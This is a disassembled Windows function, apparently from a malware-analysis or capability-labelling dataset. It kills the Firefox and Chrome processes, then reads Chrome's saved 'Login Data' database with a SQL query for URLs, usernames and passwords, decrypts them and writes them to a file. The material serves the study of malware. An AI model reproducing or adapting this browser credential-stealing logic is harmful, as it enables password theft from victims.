Function at 0x140002a4c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x1f8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
lea rdx, [0x1400b2884]
mov rcx, qword [rsp + 0x200]
call qword [sym.imp.MSVCR120.dll_fopen]
mov qword [0x1400c23a8], rax
lea rdx, [rsp + 0x48]
lea rcx, str.firefox.exe
call fcn.140001ac8
mov qword [rsp + 0x90], rax
lea rdx, [rsp + 0x58]
lea rcx, str.chrome.exe
call fcn.140001ac8
mov qword [rsp + 0x80], rax
lea rdx, [rsp + 0x68]
lea rcx, str.plugin_container.exe
call fcn.140001ac8
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x38], 0
jmp 0x140002ae2
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x68]
cmp dword [rsp + 0x38], eax
jge 0x140002b2e
movsxd rax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x78]
mov r8d, dword [rcx + rax*4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
je 0x140002b21
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002ad8
mov dword [rsp + 0x34], 0
jmp 0x140002b42
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x48]
cmp dword [rsp + 0x34], eax
jge 0x140002b91
movsxd rax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x90]
mov r8d, dword [rcx + rax*4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0xffffffffffffffff
je 0x140002b84
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002b38
mov dword [rsp + 0x30], 0
jmp 0x140002ba5
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x58]
cmp dword [rsp + 0x30], eax
jge 0x140002bf4
movsxd rax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x80]
mov r8d, dword [rcx + rax*4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0xffffffffffffffff
je 0x140002be7
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140002b9b
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.MSVCR120.dll_free]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.MSVCR120.dll_free]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCR120.dll_free]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:Program_FilesMozilla_Firefox
call fcn.140001c20
test eax, eax
je 0x140002c45
mov rcx, qword [rsp + 0x200]
call fcn.140001ff0
jmp 0x140002c78
lea rcx, str.C:Program_Files_x86_Mozilla_Firefox
call fcn.140001c20
test eax, eax
je 0x140002c64
mov rcx, qword [rsp + 0x200]
call fcn.140001ff0
jmp 0x140002c78
lea rdx, str._center_FireFox_64bit_NOT_INSTALLED_n____center_
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fprintf]
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fclose]
lea rdx, [0x1400b291c]
mov rcx, qword [rsp + 0x200]
call qword [sym.imp.MSVCR120.dll_fopen]
mov qword [0x1400c23a8], rax
call fcn.14000257c
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
je 0x140002e9b
mov edx, 0x1c
lea rcx, [rsp + 0xd0]
call fcn.1400027b8
lea rdx, str.GoogleChromeUser_DataDefaultLogin_Data
lea rcx, [rsp + 0xd0]
call qword [sym.imp.MSVCR120.dll_strcat]
lea rax, str.SELECT_origin_url__username_value__password_value_FROM_logins
mov qword [rsp + 0xc8], rax
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0xd0]
call fcn.1400af9d4
test eax, eax
jne 0x140002e99
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, 0xffffffff
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0x88]
call fcn.1400801d4
test eax, eax
jne 0x140002e82
mov dword [rsp + 0x3c], 0
cmp qword [0x1400c23a8], 0
je 0x140002e80
lea r8, str._center__b_Google_Chrome_64_bit__b__n_n__center_
lea rdx, str._center__n_n_s__center_
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fprintf]
mov rcx, qword [rsp + 0x40]
call fcn.1400400a8
cmp eax, 0x64
jne 0x140002e80
xor edx, edx
mov rcx, qword [rsp + 0x40]
call fcn.140040910
mov qword [rsp + 0xa0], rax
mov edx, 1
mov rcx, qword [rsp + 0x40]
call fcn.140040910
mov qword [rsp + 0xb8], rax
mov edx, 2
mov rcx, qword [rsp + 0x40]
call fcn.140040910
mov qword [rsp + 0xa8], rax
mov r8d, dword [rsp + 0x3c]
lea rdx, str._center_Entry:__d_n__center_
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fprintf]
mov r8, qword [rsp + 0xa0]
lea rdx, str._center_Url:__s_n__center_
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fprintf]
mov r8, qword [rsp + 0xb8]
lea rdx, [0x1400b2d30]
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fprintf]
mov rcx, qword [rsp + 0xa8]
call fcn.140002690
mov qword [rsp + 0xb0], rax
mov r8, qword [rsp + 0xb0]
lea rdx, str._center_Password:__s_n__center_
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fprintf]
mov edx, 0x32
lea rcx, [0x1400b2964]
call fcn.140001a48
mov r8, rax
lea rdx, str._center__s_n__center_
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fprintf]
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x3c], eax
jmp 0x140002d72
jmp 0x140002e8c
mov rcx, qword [rsp + 0x40]
call fcn.14003f274
mov rcx, qword [rsp + 0x88]
call fcn.1400ace94
jmp 0x140002eb9
cmp qword [0x1400c23a8], 0
je 0x140002eb9
lea rdx, str._center_Google_Chrome_64bit_NOT_INSTALLED_n__center_
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fprintf]
mov rcx, qword [0x1400c23a8]
call qword [sym.imp.MSVCR120.dll_fclose]
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete___void____ptr64_]
xor eax, eax
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.1400b0ec0
add rsp, 0x1f8
ret